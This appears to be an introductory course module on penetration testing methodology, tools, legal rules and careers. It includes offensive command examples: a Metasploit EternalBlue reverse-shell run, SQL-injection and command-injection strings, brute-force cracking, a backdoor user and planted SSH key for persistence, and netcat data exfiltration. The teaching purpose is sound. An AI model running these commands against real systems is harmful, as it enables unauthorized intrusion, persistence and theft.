In ProgressDifficulty: 2/5

Introduction to Penetration Testing

Learn penetration testing methodologies, tools, and best practices.

90 minutes
Module 3

Introduction to Penetration Testing

What is Penetration Testing?

Penetration testing (pentesting) is the practice of testing a computer system, network, or web application to find security vulnerabilities that an attacker could exploit. It's essentially "ethical hacking" - authorized attempts to breach systems to identify weaknesses before malicious actors do.

Types of Penetration Tests

By Knowledge Level

Black Box Testing

  • No prior knowledge of the target
  • Simulates external attacker
  • Most realistic but time-consuming
  • Example: Testing a public website

White Box Testing

  • Full knowledge of the target
  • Access to source code, architecture
  • Most thorough testing
  • Example: Internal security audit

Gray Box Testing

  • Partial knowledge
  • Simulates insider threat
  • Balance between black and white
  • Example: Testing with user credentials

By Target Type

Network Penetration Testing

  • External network testing
  • Internal network testing
  • Wireless network testing
  • Firewall/IDS testing

Web Application Testing

  • OWASP Top 10 vulnerabilities
  • Authentication/authorization
  • Session management
  • Input validation

Mobile Application Testing

  • iOS/Android apps
  • API security
  • Data storage
  • Communication security

Social Engineering

  • Phishing campaigns
  • Physical security testing
  • Phone/email pretexting
  • USB drop tests

Physical Penetration Testing

  • Building access
  • Lock picking
  • Tailgating
  • Dumpster diving

Penetration Testing Methodology

1. Planning and Reconnaissance

Scope Definition

  • Define targets (IPs, domains, applications)
  • Set boundaries (what's off-limits)
  • Establish rules of engagement
  • Get written authorization

Information Gathering

# Passive reconnaissance
whois target.com
dig target.com
theHarvester -d target.com -b google

# Active reconnaissance
nmap -sn 192.168.1.0/24
nmap -p- target.com

2. Scanning and Enumeration

Port Scanning

# Quick scan
nmap -T4 -F target.com

# Full scan with service detection
nmap -p- -sV -sC target.com

# UDP scan
nmap -sU --top-ports 100 target.com

Service Enumeration

# HTTP/HTTPS
nikto -h http://target.com
dirb http://target.com

# SMB
enum4linux target.com
smbclient -L //target.com

# SNMP
snmpwalk -v2c -c public target.com

# DNS
dnsrecon -d target.com
fierce -dns target.com

3. Vulnerability Assessment

Automated Scanning

# Nessus (commercial)
# OpenVAS (open source)
# Nikto for web servers
nikto -h http://target.com

# SQLMap for SQL injection
sqlmap -u "http://target.com/page?id=1"

Manual Testing

  • Review scan results
  • Verify false positives
  • Test for logic flaws
  • Check for misconfigurations

4. Exploitation

Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits
search ms17-010

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit

Web Application Exploitation

# SQL Injection
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=test" --dbs

# XSS testing
<script>alert('XSS')</script>

# Command injection
; ls -la
| cat /etc/passwd

Password Attacks

# Hydra for brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Hashcat
hashcat -m 0 -a 0 hashes.txt wordlist.txt

5. Post-Exploitation

Maintain Access

# Create backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd

# SSH key persistence
mkdir /home/user/.ssh
echo "ssh-rsa YOUR_KEY" >> /home/user/.ssh/authorized_keys

Privilege Escalation

# Linux enumeration
uname -a
cat /etc/issue
sudo -l
find / -perm -4000 2>/dev/null

# Windows enumeration
systeminfo
whoami /priv
net user
net localgroup administrators

Lateral Movement

  • Pass-the-hash
  • Pass-the-ticket
  • Token impersonation
  • Remote execution

Data Exfiltration

# Compress and encode
tar czf - /sensitive/data | base64 > data.txt

# Transfer via HTTP
python3 -m http.server 8000

# Transfer via netcat
nc -lvp 4444 > file.txt  # receiver
nc target.com 4444 < file.txt  # sender

6. Reporting

Executive Summary

  • High-level overview
  • Business impact
  • Risk assessment
  • Recommendations

Technical Details

  • Vulnerabilities found
  • Exploitation steps
  • Proof of concept
  • Remediation steps

Report Structure

  1. Cover page
  2. Table of contents
  3. Executive summary
  4. Methodology
  5. Findings (by severity)
  6. Detailed technical analysis
  7. Recommendations
  8. Appendices

Essential Tools

Reconnaissance

  • Nmap: Network scanner
  • Recon-ng: Reconnaissance framework
  • TheHarvester: OSINT gathering
  • Maltego: Visual link analysis

Vulnerability Scanning

  • Nessus: Commercial scanner
  • OpenVAS: Open-source scanner
  • Nikto: Web server scanner
  • WPScan: WordPress scanner

Exploitation

  • Metasploit: Exploitation framework
  • SQLMap: SQL injection
  • BeEF: Browser exploitation
  • Social Engineering Toolkit

Post-Exploitation

  • Mimikatz: Credential extraction
  • PowerSploit: PowerShell toolkit
  • Empire: Post-exploitation framework
  • BloodHound: Active Directory analysis

Password Cracking

  • John the Ripper: Password cracker
  • Hashcat: GPU-accelerated cracking
  • Hydra: Network login cracker
  • CeWL: Custom wordlist generator

Web Application Testing

  • Burp Suite: Web proxy
  • OWASP ZAP: Web scanner
  • Nikto: Web server scanner
  • WFuzz: Web fuzzer

Common Vulnerabilities

OWASP Top 10 (2021)

  1. Broken Access Control
  2. Cryptographic Failures
  3. Injection
  4. Insecure Design
  5. Security Misconfiguration
  6. Vulnerable Components
  7. Authentication Failures
  8. Software and Data Integrity Failures
  9. Security Logging Failures
  10. Server-Side Request Forgery

Network Vulnerabilities

  • Weak passwords
  • Unpatched systems
  • Misconfigured services
  • Default credentials
  • Unnecessary services
  • Weak encryption

Legal and Ethical Considerations

Legal Requirements

  • Written authorization: Always required
  • Scope agreement: Clear boundaries
  • Non-disclosure: Protect client data
  • Compliance: Follow regulations (GDPR, HIPAA)

Ethical Guidelines

  • Do no harm: Don't damage systems
  • Respect privacy: Handle data responsibly
  • Report honestly: Disclose all findings
  • Professional conduct: Maintain standards

Certifications

  • CEH: Certified Ethical Hacker
  • OSCP: Offensive Security Certified Professional
  • GPEN: GIAC Penetration Tester
  • eJPT: eLearnSecurity Junior Penetration Tester
  • PNPT: Practical Network Penetration Tester

Practice Platforms

Online Labs

  • Hack The Box: Realistic pentesting labs
  • TryHackMe: Guided learning paths
  • PentesterLab: Web application security
  • HackTheBox Academy: Structured courses

Vulnerable Applications

  • DVWA: Damn Vulnerable Web Application
  • WebGoat: OWASP training app
  • Metasploitable: Vulnerable Linux VM
  • OWASP Juice Shop: Modern web app

CTF Platforms

  • CTFtime: CTF calendar and rankings
  • PicoCTF: Beginner-friendly CTF
  • OverTheWire: Wargames
  • Root-Me: Challenges and CTFs

Best Practices

Before Testing

  1. Get written authorization
  2. Define clear scope
  3. Establish communication channels
  4. Prepare testing environment
  5. Backup important data

During Testing

  1. Document everything
  2. Take screenshots
  3. Save command outputs
  4. Note timestamps
  5. Track credentials found

After Testing

  1. Secure findings
  2. Write comprehensive report
  3. Present to stakeholders
  4. Assist with remediation
  5. Perform retest if needed

Building Your Lab

Hardware

  • Dedicated machine or VM host
  • 16GB+ RAM recommended
  • 500GB+ storage
  • Network isolation capability

Software

  • Attacker: ParrotOS/Kali Linux
  • Targets: Metasploitable, DVWA, Windows VMs
  • Network: pfSense firewall
  • Monitoring: Security Onion

Network Setup

Internet
   |
[Router]
   |
[Switch]
   |
   +--- [Attacker VM]
   +--- [Target VMs]
   +--- [Monitoring]

Career Path

Entry Level

  • Security Analyst
  • Junior Penetration Tester
  • SOC Analyst

Mid Level

  • Penetration Tester
  • Security Consultant
  • Red Team Operator

Senior Level

  • Senior Penetration Tester
  • Security Architect
  • Red Team Lead

Salary Ranges (USD)

  • Entry: $60k-$80k
  • Mid: $80k-$120k
  • Senior: $120k-$180k+

Next Steps

  1. Practice on vulnerable VMs
  2. Complete online courses
  3. Participate in CTFs
  4. Build your home lab
  5. Get certified
  6. Join bug bounty programs
  7. Contribute to open source
  8. Network with professionals

Resources

  • Books: "The Web Application Hacker's Handbook", "Penetration Testing" by Georgia Weidman
  • Courses: Offensive Security, eLearnSecurity, Cybrary
  • Communities: Reddit r/netsec, Discord servers, local meetups
  • Blogs: PortSwigger, Offensive Security, Pentester Academy